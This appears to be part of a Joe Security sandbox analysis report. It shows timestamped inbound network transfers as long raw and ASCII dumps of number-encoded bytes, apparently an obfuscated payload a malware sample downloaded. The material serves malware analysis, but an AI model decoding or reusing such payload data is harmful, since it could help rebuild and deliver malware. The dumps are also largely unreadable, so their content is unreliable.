203137 322031 3531 20 32 33 38 20 31 37 32 20 31 36 37 20 30 20 32 33 30 20 31 38 38 20 31 37 34 20 32 33 30 20
3138 382031 34 30 20 32 33 30 20 31 38 38 20 31 34 32 20 32 33 30 20 31 38 37 20 31 37 30 20 32 33 30 20 31 38 37
20 31 36 36 20 32 33 30 20 31 38 38 20 31 33 31 20 32 33 30 20 31 38 38 20 31 36 35 20 32 33 30 20 31 38 37 20 31 37
352032 333020313838 203136332032 333020 313837203137 3320323330 2031 38 38 20 31 3538 20 32
333020 313838203135 332032333020 3138382031 3239203233

Data Ascii: 38 173 133 238 173 130 238 172 149 238 173 138 238 172 151 238 173 146 238 172 151 238 172 167 0 230
188 174 230 188 140 230 188 142 230 187 170 230 187 166 230 188 131 230 188 165 230 187 175 230 188 163 230 187
173 230 188 158 230 188 153 230 188 129 23

Data Raw: 20 31 37 39 20 31 34 35 20 32 32 35 20 31 37 38 20 31 35 39 20 32 32 35 20 31 37 38 20 31 36 34 20 32 32
352031 37 38 20 31 36 32 20 32 32 35 20 31 37 38 20 31 36 34 20 32 32 35 20 31 37 38 20 31 36 35 20 32 32 35 20 31
37 38 20 31 35 36 20 32 32 35 20 31 37 39 20 31 34 38 20 32 32 35 20 31 37 38 20 31 37 35 20 32 32 35 20 31 37 38 20
31 36 332032 32 3520 31 37 39 20 31 33 30 20 32 32 35 20 31 37 38 20 31 36 30 20 32 32 35 20 31 37 38 20 31 37 35
20 30 20 32 33 34 20 31 38 34 20 31 34 36 20 32 33 34 20 31 38 33 20 31 37 36 20 32 33 34 20 31 38 34 20 31 36 34 20
32 33 34 20 31 38 34 20 31 36 36 20 32 33 34 20 31 38 34 20 31 33 34 20 32 33 34 20 31 38 33 20 31 37 36 20 32 33 34
20 31 38 33 20 31 38 30 20 32 33 34 20 31 38 34 20 31 35 34 20 32 33 34 20

Data Ascii: 179 145 225 178 159 225 178 164 225 178 162 225 178 164 225 178 165 225 178 156 225 179 148 225 178
175225 178 163 225 179 130 225 178 160 225 178 175 0 234 184 146 234 183 176 234 184 164 234 184 166 234 184
134 234 183 176 234 183 180 234 184 154 234

Data Raw: 20 31 36 33 20 32 33 30 20 31 37 30 20 31 38 36 20 32 33 30 20 31 37 31 20 31 35 35 20 32 33 30 20 31 37
31203133 332032333020 3137312031 363520 323330203137 3120313639 20323330203137312031
36 33 20 32 33 30 20 31 37 31 20 31 38 31 20 30 20 32 33 31 20 31 37 30 20 31 37 32 20 32 33 31 20 31 37 31 20 31 35
39 203233312031 37 302031383020 323331203137 3120313737 2032 3331203137 312031 35362032
33312031 37302031 373820 323331203137 30203137 312032333120313731203137372032333120
3137312031 36312032 3331203137 312031 35362032333120313731203133352032333120313731
203137 31 203233312031 3730203137 3220323331 2031373020

Data Ascii: 163 230 170 186 230 171 155 230 171 133 230 171 165 230 171 169 230 171 163 230 171 181 0 231 170 172
231171159231 170 180 231 171 177 231 171 156 231 170 178 231 170 171 231 171 177 231 171 161 231 171 156 231
171 135231171171 231 170 172 231 170

Data Raw: 33 39 20 32 32 37 20 31 36 32 20 31 37 38 20 32 32 37 20 31 36 32 20 31 38 39 20 30 20 32 32 34 20 31 36
352031 35 32 20 32 32 34 20 31 36 34 20 31 37 33 20 32 32 34 20 31 36 35 20 31 35 34 20 32 32 34 20 31 36 34 20 31
37 33 20 32 32 34 20 31 36 35 20 31 34 34 20 32 32 34 20 31 36 35 20 31 35 37 20 32 32 34 20 31 36 35 20 31 33 37 20
3232342031 36 35 20 31 37 37 20 32 32 34 20 31 36 34 20 31 36 39 20 32 32 34 20 31 36 35 20 31 35 36 20 32 32 34
20 31 36 34 20 31 37 34 20 32 32 34 20 31 36 34 20 31 36 37 20 32 32 34 20 31 36 35 20 31 36 39 20 32 32 34 20 31 36
3520 31 34 34 20 32 32 34 20 31 36 34 20 31 38 39 20 30 20 32 32 36 20 31 36 39 20 31 36 35 20 32 32 36 20 31 37 30
20 31 32 38 20 32 32 36 20 31 36 39 20 31 33 34 20 32 32 36 20 31 36 39 20

Data Ascii: 39 227 162 178 227 162 189 0 224 165 152 224 164 173 224 165 154 224 164 173 224 165 144 224 165 157
224 165 137 224 165 177 224 164 169 224 165 156 224 164 174 224 164 167 224 165 169 224 165 144 224 164 189 0
226 169 165 226 170 128 226 169 134 226 169

Data Raw: 35 20 30 20 37 37 20 30 20 36 35 20 30 20 36 35 20 30 20 38 30 20 30 20 35 37 20 30 20 35 30 20 30 20 36
39 2030 20 37 37 20 30 20 37 32 20 30 20 31 31 31 20 30 20 36 39 20 30 20 37 33 20 30 20 31 30 38 20 30 20 31 30 30
20 30 20 34 33 20 30 20 37 33 20 30 20 31 30 38 20 30 20 37 30 20 30 20 34 37 20 30 20 38 30 20 30 20 34 37 20 30 20
38 38 20 30 20 34 37 20 30 20 35 31 20 30 20 38 38 20 30 20 35 36 20 30 20 31 30 35 20 30 20 38 35 20 30 20 38 35 20
30 20 37 37 20 30 20 38 35 20 30 20 34 37 20 30 20 35 37 20 30 20 35 30 20 30 20 36 39 20 30 20 37 33 20 30 20 31 31
3520 30 20 31 30 30 20 30 20 31 30 36 20 30 20 37 37 20 30 20 37 30 20 30 20 36 35 20 30 20 36 35 20 30 20 38 30 20
30 20 34 37 20 30 20 38 34 20 30 20 37 39 20 30 20 34 38 20 30 20 38 35 20

Data Ascii: 5077 06506508005705006907707201110690730108010004307301080700470800
47088047051088056010508508507708504705705006907301150100010607707006506508
0047084079048085
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Data Raw: 20 30 20 36 38 20 30 20 31 32 30 20 30 20 36 36 20 30 20 31 32 32 20 30 20 31 31 34 20 30 20 37 36 20 30

20 38 39 20 30 20 35 30 20 30 20 37 30 20 30 20 34 37 20 30 20 38 30 20 30 20 35 31 20 30 20 34 37 20 30 20 34 37 20
30 20 34 39 20 30 20 36 38 20 30 20 31 31 31 20 30 20 38 38 20 30 20 39 30 20 30 20 39 39 20 30 20 36 35 20 30 20 36
3520302037 33 20 30 20 31 31 38 20 30 20 37 33 20 30 20 37 37 20 30 20 35 37 20 30 20 37 34 20 30 20 38 38 20 30
20 31 30 36 20 30 20 38 35 20 30 20 38 38 20 30 20 35 36 20 30 20 38 35 20 30 20 36 39 20 30 20 37 36 20 30 20 38 34
203020 353220302031 31 31203020 3530203020 37 30 20 30 20 34 37 20 30 20 38 30 20 30 20 35 31 20 30 20
34 37 20 30 20 34 37 20 30 20 34 39 20 30 20 39 30 20 30 20 38 31 20 30 20

Data Ascii: 0680120066 0122011407608905007004708005104704704906801110880900 99065
0650730118073077057074088010608508805608506907608405201110500700470800510
470470490900810

Data Raw: 35 37 20 30 20 31 31 33 20 30 20 38 38 20 30 20 37 30 20 30 20 36 38 20 30 20 31 31 31 20 30 20 38 33 20
30 20 37 33 20 30 20 35 32 20 30 20 36 35 20 30 20 36 35 20 30 20 37 33 20 30 20 38 38 20 30 20 36 35 20 30 20 38 37
20 30 20 38 36 20 30 20 31 30 38 20 30 20 34 39 20 30 20 38 37 20 30 20 37 31 20 30 20 31 30 33 20 30 20 37 33 20 30
20 36 3520 30 20 31 30 33 20 30 20 36 35 20 30 20 36 35 20 30 20 31 30 36 20 30 20 38 39 20 30 20 38 38 20 30 20 38
3320 30 20 34 33 20 30 20 38 30 20 30 20 34 37 20 30 20 34 37 20 30 20 38 35 20 30 20 34 39 20 30 20 36 37 20 30 20
37 34 20 30 20 38 38 20 30 20 31 30 32 20 30 20 31 32 30 20 30 20 31 30 39 20 30 20 31 30 35 20 30 20 39 30 20 30 20
3531 20 30 20 38 31 20 30 20 34 33 20 30 20 38 30 20 30 20 34 37 20 30 20

Data Ascii: 5701130880700680111083073052065065073088065087086010804908707101030
730650103065065010608908808304308004704708504906707408801020120010901050900
510810430800470

Data Raw: 20 36 36 20 30 20 37 30 20 30 20 37 32 20 30 20 31 31 31 20 30 20 31 30 38 20 30 20 31 31 38 20 30 20 35
352030 20 34 37 20 30 20 34 37 20 30 20 34 38 20 30 20 31 30 36 20 30 20 35 31 20 30 20 35 30 20 30 20 36 36 20 30
20 31 31 38 20 30 20 36 35 20 30 20 38 31 20 30 20 37 37 20 30 20 37 33 20 30 20 36 39 20 30 20 36 35 20 30 20 37 37
2030 20 37 38 20 30 20 38 36 20 30 20 31 30 35 20 30 20 34 33 20 30 20 31 32 31 20 30 20 37 36 20 30 20 38 32 20 30
2038 31 20 3020 31 30 35 20 30 20 36 38 20 30 20 35 34 20 30 20 36 39 20 30 20 35 33 20 30 20 34 38 20 30 20 37 34
203020 313231203020 3531203020 36372030 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20
31 30 30 20 30 20 36 36 20 30 20 31 30 38 20 30 20 37 33 20 30 20 31 30 30

Data Ascii: 66 07007201110108011805504704704801060510500660118065081077073069 065
0770780860105043012107608208101050680540690530480740121051067 0650650650650
100066 0108 0 73 0 100

Data Raw: 36 39 20 30 20 36 35 20 30 20 31 30 33 20 30 20 36 35 20 30 20 36 35 20 30 20 37 33 20 30 20 31 31 35 20
30 20 37 31 20 30 20 31 30 34 20 30 20 39 39 20 30 20 36 36 20 30 20 34 38 20 30 20 36 37 20 30 20 31 30 38 20 30 20
36 38 20 30 20 34 37 20 30 20 37 30 20 30 20 39 39 20 30 20 31 32 32 20 30 20 36 35 20 30 20 38 31 20 30 20 36 35 20
30 20 36 37 20 30 20 36 38 20 30 20 37 34 20 30 20 31 30 33 20 30 20 36 36 20 30 20 31 30 31 20 30 20 31 31 39 20 30
20 34 39 20 30 20 37 39 20 30 20 37 36 20 30 20 38 38 20 30 20 31 31 39 20 30 20 38 33 20 30 20 37 30 20 30 20 35 30
20 30 20 34 39 20 30 20 39 37 20 30 20 37 36 20 30 20 35 36 20 30 20 37 32 20 30 20 38 31 20 30 20 37 38 20 30 20 31
30 33 20 30 20 35 31 20 30 20 35 32 20 30 20 38 31 20 30 20 36 35 20 30 20

Data Ascii: 69065010306506507301150710104099066048067010806804707009901220650810
6506706807401030660101011904907907608801190830700500490970760560720810780
103051052081 0650

Data Raw: 35 20 30 20 36 38 20 30 20 37 37 20 30 20 35 36 20 30 20 36 36 20 30 20 36 35 20 30 20 38 35 20 30 20 37

312030 20 31 30 33 20 30 20 36 39 20 30 20 36 36 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 31 30 35 20
30 20 35 36 20 30 20 39 38 20 30 20 31 31 31 20 30 20 38 34 20 30 20 37 39 20 30 20 31 31 38 20 30 20 34 37 20 30 20
34 37 20 30 20 35 32 20 30 20 31 31 37 20 30 20 37 31 20 30 20 37 35 20 30 20 37 30 20 30 20 31 31 35 20 30 20 36 35
20 30 20 36 35 20 30 20 37 33 20 30 20 38 30 20 30 20 35 32 20 30 20 36 36 20 30 20 38 38 20 30 20 38 31 20 30 20 37
34 20 30 20 31 30 33 20 30 20 34 37 20 30 20 31 30 33 20 30 20 37 31 20 30 20 31 30 30 20 30 20 36 35 20 30 20 38 31
203020 31 32 32 20 30 20 31 31 39 20 30 20 37 39 20 30 20 31 31 35 20 30

Data Ascii: 5068077056066 06508507101030690660650650650105056098011108407901180

47047052011707107507001150650650730800520660880810740103047010307101000650
810122011907901150

Data Raw: 20 30 20 35 36 20 30 20 37 30 20 30 20 31 30 38 20 30 20 39 30 20 30 20 31 30 35 20 30 20 38 35 20 30 20
38 38 20 30 20 35 32 20 30 20 31 30 32 20 30 20 31 32 31 20 30 20 38 33 20 30 20 37 38 20 30 20 38 30 20 30 20 36 38
20 30 20 39 37 20 30 20 37 36 20 30 20 35 31 20 30 20 31 31 31 20 30 20 31 31 36 20 30 20 34 39 20 30 20 36 37 20 30
20 37 30 20 30 20 31 30 32 20 30 20 34 37 20 30 20 31 30 30 20 30 20 38 31 20 30 20 31 32 30 20 30 20 38 37 20 30 20
35 34 20 30 20 36 36 20 30 20 31 32 30 20 30 20 31 31 33 20 30 20 36 35 20 30 20 36 35 20 30 20 36 37 20 30 20 36 38
20 30 20 31 32 30 20 30 20 36 35 20 30 20 31 32 31 20 30 20 37 30 20 30 20 31 31 39 20 30 20 37 32 20 30 20 38 31 20
30 20 38 34 20 30 20 34 37 20 30 20 34 38 20 30 20 38 38 20 30 20 35 36 20

Data Ascii: 0560 700108090010508508805201020121083078080068097076051011101160490
670700102047 010008101200870540660120011306506506706801200650121070011907208
1084047048088056

Data Raw: 30 20 38 35 20 30 20 38 30 20 30 20 35 37 20 30 20 34 39 20 30 20 34 37 20 30 20 37 33 20 30 20 31 31 38
20 30 20 34 33 20 30 20 35 34 20 30 20 37 38 20 30 20 31 30 30 20 30 20 31 30 33 20 30 20 36 35 20 30 20 36 35 20 30
20 36 37 20 30 20 37 38 20 30 20 38 32 20 30 20 31 30 33 20 30 20 37 39 20 30 20 36 38 20 30 20 31 32 30 20 30 20 36
36 20 30 20 31 31 39 20 30 20 35 37 20 30 20 36 35 20 30 20 36 37 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30
20 37 32 20 30 20 37 37 20 30 20 37 38 20 30 20 31 30 33 20 30 20 34 38 20 30 20 38 38 20 30 20 35 36 20 30 20 36 36
20 30 20 31 30 37 20 30 20 37 39 20 30 20 36 38 20 30 20 31 32 30 20 30 20 31 30 33 20 30 20 37 37 20 30 20 35 35 20
30 20 38 38 20 30 20 38 31 20 30 20 31 32 30 20 30 20 31 32 31 20 30 20 31

Data Ascii: 085080057049047073011804305407801000103065065067 07808201030 790680120
066011905706506706506506507207707801030480880560660107 0790680 1200103077055
0880810120012101

Data Raw: 30 20 36 35 20 30 20 36 35 20 30 20 36 38 20 30 20 36 35 20 30 20 39 39 20 30 20 37 37 20 30 20 31 32 32
20 3020 31 31 39 20 30 20 37 37 20 30 20 37 37 20 30 20 31 32 32 20 30 20 31 32 31 20 30 20 38 37 20 30 20 39 37 20
30 20 37 34 20 30 20 38 33 20 30 20 36 36 20 30 20 31 30 34 20 30 20 31 30 39 20 30 20 31 30 35 20 30 20 38 39 20 30
20 31 30 33 20 30 20 38 39 20 30 20 36 35 20 30 20 31 30 33 20 30 20 36 35 20 30 20 36 35 20 30 20 39 30 20 30 20 31
31 31 20 30 20 31 30 39 20 30 20 37 33 20 30 20 37 31 20 30 20 36 35 20 30 20 38 31 20 30 20 36 35 20 30 20 36 35 20
30 20 37 31 20 30 20 39 37 20 30 20 37 34 20 30 20 31 30 35 20 30 20 36 36 20 30 20 31 30 33 20 30 20 37 31 20 30 20
36 35 20 30 20 36 35 20 30 20 36 36 20 30 20 31 30 39 20 30 20 31 30 35 20

Data Ascii: 0650650680650990770122011907707701220121087097074083066 0104010901050
890103089065010306506509001110109073071065081065065071097074010506601030710
6506506601090 105
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Timestamp transferred

2021-09-27 18:27:45 UTC 2827

2021-09-27 18:27:45 UTC 2843

2021-09-27 18:27:45 UTC 2859

2021-09-27 18:27:45 UTC 2875

2021-09-27 18:27:45 UTC 2891

2021-09-27 18:27:45 UTC 2907

2021-09-27 18:27:45 UTC 2923

2021-09-27 18:27:45 UTC 2939

Copyright Joe Security LLC 2021

Direction

IN

Data

Data Raw: 31 20 30 20 31 30 33 20 30 20 31 31 31 20 30 20 31 32 32 20 30 20 31 30 37 20 30 20 36 35 20 30 20 36 35
20 3020 38 36 20 30 20 31 31 38 20 30 20 35 36 20 30 20 38 36 20 30 20 37 39 20 30 20 37 37 20 30 20 37 30 20 30 20
36 35 20 30 20 36 35 20 30 20 36 39 20 30 20 31 30 36 20 30 20 35 31 20 30 20 35 30 20 30 20 36 36 20 30 20 31 31 38
20 30 20 36 3520 30 20 38 31 20 30 20 37 31 20 30 20 31 31 31 20 30 20 34 37 20 30 20 39 37 20 30 20 36 38 20 30 20
36 38 20 30 20 37 39 20 30 20 38 31 20 30 20 36 35 20 30 20 36 37 20 30 20 34 33 20 30 20 37 37 20 30 20 38 30 20 30
20 35 33 20 30 20 36 35 20 30 20 36 35 20 30 20 37 35 20 30 20 37 37 20 30 20 31 31 31 20 30 20 34 37 20 30 20 31 30
37 20 30 20 36 35 20 30 20 36 35 20 30 20 35 34 20 30 20 36 36 20 30 20 34

Data Ascii: 101030111 01220107 06506508601180560860790770700650650690 1060510500660
118065081071011104709706806807908106506704307708005306506507507701110470
107065065054 06604

Data Raw: 20 35 36 20 30 20 39 39 20 30 20 38 34 20 30 20 34 37 20 30 20 34 37 20 30 20 35 32 20 30 20 38 30 20 30
20 36 39 20 30 20 36 38 20 30 20 37 33 20 30 20 31 30 38 20 30 20 37 30 20 30 20 34 33 20 30 20 37 33 20 30 20 37 38
20 30 20 35 37 20 30 20 34 33 20 30 20 36 35 20 30 20 36 36 20 30 20 34 38 20 30 20 36 38 20 30 20 31 30 32 20 30 20
3537 20 30 20 34 39 20 30 20 34 37 20 30 20 37 39 20 30 20 31 30 34 20 30 20 37 34 20 30 20 34 33 20 30 20 31 30 32
2030 20 34 37 20 30 20 34 37 20 30 20 31 30 35 20 30 20 34 38 20 30 20 34 38 20 30 20 37 33 20 30 20 31 30 35 20 30
2038 3120302037 3120302037 3620302038 32203020 313032203020313034203020313031203020
3132 312030 20 39 39 20 30 20 37 33 20 30 20 36 39 20 30 20 36 35 20 30

Data Ascii: 56 09908404704705208006906807301080700430730780570430650660480680102
05704904707901040740430102047047010504804807301050810710760820102010401010
1210990730690650

Data Raw: 31 39 20 30 20 36 35 20 30 20 36 35 20 30 20 31 30 33 20 30 20 35 36 20 30 20 38 31 20 30 20 38 31 20 30
20 34 37 20 30 20 35 31 20 30 20 39 30 20 30 20 31 30 33 20 30 20 31 30 35 20 30 20 35 36 20 30 20 39 38 20 30 20 34
3720 30 20 31 30 30 20 30 20 38 31 20 30 20 31 30 36 20 30 20 31 31 31 20 30 20 37 34 20 30 20 31 30 32 20 30 20 35
3120 30 20 34 37 20 30 20 34 37 20 30 20 34 38 20 30 20 39 39 20 30 20 35 35 20 30 20 31 30 32 20 30 20 31 30 35 20
3020 31 323020 3020 353620 30 20 31 31 32 20 30 20 31 30 38 20 30 20 31 31 36 20 30 20 31 31 31 20 30 20 35 35
203020 37 37 20 30 20 38 32 20 30 20 36 35 20 30 20 36 35 20 30 20 38 30 20 30 20 35 37 20 30 20 34 39 20 30 20 36
3720 3020 37 33 20 30 20 31 31 38 20 30 20 37 31 20 30 20 35 34 20 30 20

Data Ascii: 19065065 0103056 081081047 051090010301050560980470100081010601110740 10
205104704704809905501020105012005601120108011601110550770820650650800 570490
6707301180710540

Data Raw: 31 30 30 20 30 20 36 35 20 30 20 31 30 32 20 30 20 31 31 31 20 30 20 39 30 20 30 20 31 30 36 20 30 20 37
37 2030 20 36 35 20 30 20 36 35 20 30 20 37 39 20 30 20 31 31 35 20 30 20 37 30 20 30 20 35 34 20 30 20 36 38 20 30
20 38 35 20 30 20 31 32 32 20 30 20 36 35 20 30 20 36 35 20 30 20 36 38 20 30 20 35 31 20 30 20 35 30 20 30 20 37 30
203020313037 20 30 20 39 38 20 30 20 31 31 39 20 30 20 37 30 20 30 20 31 30 38 20 30 20 36 35 20 30 20 35 34 20
3020 31 3231203020 37 3220 30 20 353020 30 20 31 31 39 20 30 20 38 31 20 30 20 38 34 20 30 20 34 37 20 30 20
313030 20 30 20 31 30 34 20 30 20 36 36 20 30 20 38 31 20 30 20 31 30 30 20 30 20 36 35 20 30 20 31 30 32 20 30 20
3131 31 20 30 20 35 30 20 30 20 35 36 20 30 20 31 30 36 20 30 20 34 37 20

Data Ascii: 100065 010201110900 1060770650650790115070054068 08501220650 65068051050
07001070980119070010806505401210720500119081084047 010001040660 8101000650 102
0111050056 0106047

Data Raw: 30 20 37 32 20 30 20 38 32 20 30 20 36 36 20 30 20 31 30 36 20 30 20 38 38 20 30 20 31 30 33 20 30 20 38

312030 20 31 30 36 20 30 20 38 39 20 30 20 38 31 20 30 20 31 30 37 20 30 20 31 31 39 20 30 20 36 36 20 30 20 38 31
20 30 20 36 35 20 30 20 36 35 20 30 20 37 30 20 30 20 36 37 20 30 20 37 34 20 30 20 31 31 30 20 30 20 36 37 20 30 20
38 34 20 30 20 38 35 20 30 20 37 32 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 31 30 35 20 30 20 39 30 20
30 20 31 31 39 20 30 20 31 30 37 20 30 20 34 38 20 30 20 36 36 20 30 20 31 31 39 20 30 20 36 35 20 30 20 36 35 20 30
20 37 33 20 30 20 31 30 39 20 30 20 39 39 20 30 20 37 34 20 30 20 37 37 20 30 20 38 31 20 30 20 39 39 20 30 20 36 35
20 30 20 36 35 20 30 20 36 37 20 30 20 37 34 20 30 20 31 31 30 20 30 20 36

Data Ascii: 0 72082 066 0106 0880103081 01060890810107011906608106506507006707401100
67084085072065065065010509001190107048066011906506507301090990740770810990
65065067074011006

Data Raw: 35 32 20 30 20 31 30 34 20 30 20 31 30 32 20 30 20 35 37 20 30 20 39 30 20 30 20 31 30 30 20 30 20 37 32
20 3020 31 30 30 20 30 20 38 37 20 30 20 31 30 35 20 30 20 31 32 32 20 30 20 38 38 20 30 20 38 35 20 30 20 31 31 39
20 30 20 36 39 20 30 20 36 35 20 30 20 36 35 20 30 20 39 37 20 30 20 36 38 20 30 20 31 30 36 20 30 20 39 30 20 30 20
38 31 20 30 20 36 35 20 30 20 36 36 20 30 20 38 38 20 30 20 34 37 20 30 20 35 37 20 30 20 39 37 20 30 20 37 30 20 30
20 31 31 39 20 30 20 37 35 20 30 20 37 38 20 30 20 37 33 20 30 20 34 33 20 30 20 36 39 20 30 20 36 35 20 30 20 36 35
20 30 20 31 30 30 20 30 20 36 39 20 30 20 35 33 20 30 20 31 31 31 20 30 20 38 34 20 30 20 37 38 20 30 20 31 30 38 20
30 20 36 35 20 30 20 36 35 20 30 20 37 30 20 30 20 31 30 32 20 30 20 34 37

Data Ascii: 52 0104 01020570900 1000720100087 010501220880850119069 065065097 0680106 0
900810650660880470570970700119075078073043069065065010006905301110840780 10
80650650700 102047

Data Raw: 36 20 30 20 31 31 31 20 30 20 35 30 20 30 20 37 30 20 30 20 31 32 31 20 30 20 31 31 38 20 30 20 31 31 34
20 3020 34 37 20 30 20 34 37 20 30 20 34 39 20 30 20 37 38 20 30 20 38 31 20 30 20 39 30 20 30 20 31 31 31 20 30 20
313039 20 30 20 31 30 30 20 30 20 31 32 31 20 30 20 38 30 20 30 20 31 31 34 20 30 20 34 37 20 30 20 34 37 20 30 20
34 33 20 30 20 31 30 33 20 30 20 35 36 20 30 20 37 30 20 30 20 31 31 39 20 30 20 36 35 20 30 20 36 35 20 30 20 31 30
33 20 30 20 35 36 20 30 20 38 31 20 30 20 37 37 20 30 20 34 37 20 30 20 35 31 20 30 20 38 35 20 30 20 37 33 20 30 20
38 35 20 30 20 35 30 20 30 20 31 30 33 20 30 20 36 35 20 30 20 36 36 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20
30 20 34 37 20 30 20 31 32 30 20 30 20 38 37 20 30 20 31 31 39 20 30 20 31

Data Ascii: 601110500700121011801140470470490780810900 111010901000 1210800 1140470
47043010305607001190650650103056081077047051085073085050010306506606506506
50470120087011901

Data Raw: 35 20 30 20 37 39 20 30 20 31 31 35 20 30 20 37 31 20 30 20 31 30 35 20 30 20 38 39 20 30 20 39 30 20 30
20 3532 20 30 20 31 30 33 20 30 20 31 30 33 20 30 20 36 35 20 30 20 36 35 20 30 20 31 30 36 20 30 20 38 39 20 30 20
39 30 20 30 20 31 30 39 20 30 20 38 31 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 39 30 20 30 20 31 31 31
20 30 20 37 37 20 30 20 35 32 20 30 20 36 35 20 30 20 38 38 20 30 20 38 35 20 30 20 37 33 20 30 20 31 30 35 20 30 20
39 38 20 30 20 35 33 20 30 20 34 38 20 30 20 31 30 33 20 30 20 31 30 33 20 30 20 36 35 20 30 20 36 35 20 30 20 35 34
20 30 20 31 31 39 20 30 20 39 37 20 30 20 37 34 20 30 20 31 30 34 20 30 20 31 31 30 20 30 20 38 33 20 30 20 36 37 20
30 20 36 35 20 30 20 36 35 20 30 20 36 37 20 30 20 37 38 20 30 20 31 30 34

Data Ascii: 50790115071010508909005201030103065065010608909001090810650650650900
111077052065088085073010509805304801030103065065054011909707401040110083067
0650650670780 104
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Timestamp transferred

2021-09-27 18:27:45 UTC 2955

2021-09-27 18:27:45 UTC 2961

2021-09-27 18:27:45 UTC 2977

2021-09-27 18:27:45 UTC 2993

2021-09-27 18:27:45 UTC 3009

2021-09-27 18:27:45 UTC 3025

2021-09-27 18:27:45 UTC 3041

2021-09-27 18:27:45 UTC 3057

Copyright Joe Security LLC 2021

Direction

IN

Data

Data Raw: 20 30 20 31 30 35 20 30 20 38 35 20 30 20 38 38 20 30 20 31 31 31 20 30 20 38 36 20 30 20 35 32 20 30 20

34 3920 30 20 37 30 20 30 20 35 31 20 30 20 37 30 20 30 20 36 37 20 30 20 37 34 20 30 20 38 38 20 30 20 31 30 31 20
30 20 36 37 20 30 20 37 34 20 30 20 38 38 20 30 20 31 30 31 20 30 20 38 34 20 30 20 37 32 20 30 20 38 32 20 30 20 31
303120 3020 31 31 39 20 30 20 36 39 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 31 32 30
20 30 20 34 38 20 30 20 38 38 20 30 20 31 31 39 20 30 20 31 30 33 20 30 20 39 37 20 30 20 31 32 30 20 30 20 36 35 20
30 20 36 3520 30 20 37 33 20 30 20 31 30 38 20 30 20 34 39 20 30 20 35 37 20 30 20 38 30 20 30 20 35 36 20 30 20 38
36 20 30 20 38 38 20 30 20 37 37 20 30 20 37 30 20 30 20 36 35 20 30 20 36

Data Ascii: 0105085088011108605204907005107006707408801010670740880101084072082
01010119069065065065065012004808801190103097012006506507301080490570800560

8608807707006506

Data Raw: 30 20 37 36 20 30 20 35 30 20 30 20 37 30 20 30 20 38 30 20 30 20 34 37 20 30 20 31 30 30 20 30 20 31 30
322030 20 31 32 30 20 30 20 38 37 20 30 20 34 37 20 30 20 35 31 20 30 20 38 35 20 30 20 37 33 20 30 20 35 34 20 30
20 37 34 20 30 20 39 39 20 30 20 36 39 20 30 20 36 35 20 30 20 36 35 20 30 20 36 37 20 30 20 37 38 20 30 20 38 32 20
3020 31 303220 30 20 31 32 30 20 30 20 38 31 20 30 20 31 30 36 20 30 20 38 35 20 30 20 38 38 20 30 20 35 32 20 30
2038 3520302037 31203020 313033203020 313135203020 3132322030 20 38 35 20 30 20 36 35 20 30 20
36 35 20 30 20 38 35 20 30 20 34 33 20 30 20 31 30 35 20 30 20 37 35 20 30 20 36 36 20 30 20 36 35 20 30 20 36 35 20
30 20 36 3520 30 20 31 30 34 20 30 20 39 39 20 30 20 36 36 20 30 20 34 38

Data Ascii: 0 76 050070080047 0100010201200870470510850730540740990690650650670780
820102012008101060850880520850710103011501220850650650850430 1050750660650 65
0650104099066 048

Data Raw: 37 20 30 20 38 34 20 30 20 31 31 33 20 30 20 36 35 20 30 20 36 35 20 30 20 36 38 20 30 20 38 35 20 30 20

3534 20 30 20 31 30 33 20 30 20 36 35 20 30 20 36 35 20 30 20 35 34 20 30 20 31 31 37 20 30 20 31 31 31 20 30 20 36
3520 30 20 36 35 20 30 20 38 30 20 30 20 39 38 20 30 20 31 31 33 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30
20 37 39 20 30 20 35 34 20 30 20 31 31 39 20 30 20 36 35 20 30 20 36 35 20 30 20 37 33 20 30 20 37 39 20 30 20 31 31
3520 30 20 36 35 20 30 20 36 35 20 30 20 36 37 20 30 20 35 35 20 30 20 31 31 34 20 30 20 36 35 20 30 20 36 35 20 30
20 36 3520 30 20 35 34 20 30 20 35 34 20 30 20 31 31 39 20 30 20 36 35 20 30 20 36 35 20 30 20 38 32 20 30 20 31 31
3720 30 20 31 31 35 20 30 20 36 35 20 30 20 36 35 20 30 20 37 30 20 30 20

Data Ascii: 708401130650650680850540103065065054011701110650650800980 1130650650
6507905401190650650730790115065065067055011406506506505405401190650650820

11701150650650700

Data Raw: 20 31 31 32 20 30 20 35 37 20 30 20 36 35 20 30 20 36 35 20 30 20 37 31 20 30 20 37 35 20 30 20 31 30 32
203020 38 31 20 30 20 36 35 20 30 20 36 37 20 30 20 31 31 36 20 30 20 37 37 20 30 20 36 39 20 30 20 36 35 20 30 20
36 35 20 30 20 35 30 20 30 20 31 30 36 20 30 20 36 36 20 30 20 36 35 20 30 20 36 35 20 30 20 37 39 20 30 20 36 35 20
3020 31 3139 20 30 20 38 31 20 30 20 36 35 20 30 20 36 35 20 30 20 38 30 20 30 20 37 37 20 30 20 38 35 20 30 20 36
3520 30 20 36 35 20 30 20 39 30 20 30 20 35 33 20 30 20 35 37 20 30 20 36 35 20 30 20 36 35 20 30 20 37 38 20 30 20
3533 20 30 20 34 33 20 30 20 38 31 20 30 20 36 35 20 30 20 36 37 20 30 20 39 39 20 30 20 31 31 30 20 30 20 34 38 20
30 20 36 35 20 30 20 36 35 20 30 20 38 39 20 30 20 31 31 39 20 30 20 36 36

Data Ascii: 11205706506507107501020810650670116077 0690650650500 106066 0650650790
65011908106506508007708506506509005305706506507805304308106506709901100480
650650890119 066

Data Raw: 39 20 30 20 36 35 20 30 20 39 37 20 30 20 36 35 20 30 20 36 35 20 30 20 34 38 20 30 20 36 35 20 30 20 36
38 20 30 20 35 32 20 30 20 36 35 20 30 20 37 34 20 30 20 38 31 20 30 20 36 36 20 30 20 31 32 32 20 30 20 36 35 20 30
20 36 37 20 30 20 36 35 20 30 20 36 35 20 30 20 38 30 20 30 20 36 35 20 30 20 36 36 20 30 20 31 30 34 20 30 20 36 35
20 30 20 36 37 20 30 20 36 35 20 30 20 36 35 20 30 20 39 37 20 30 20 36 35 20 30 20 36 36 20 30 20 31 32 31 20 30 20
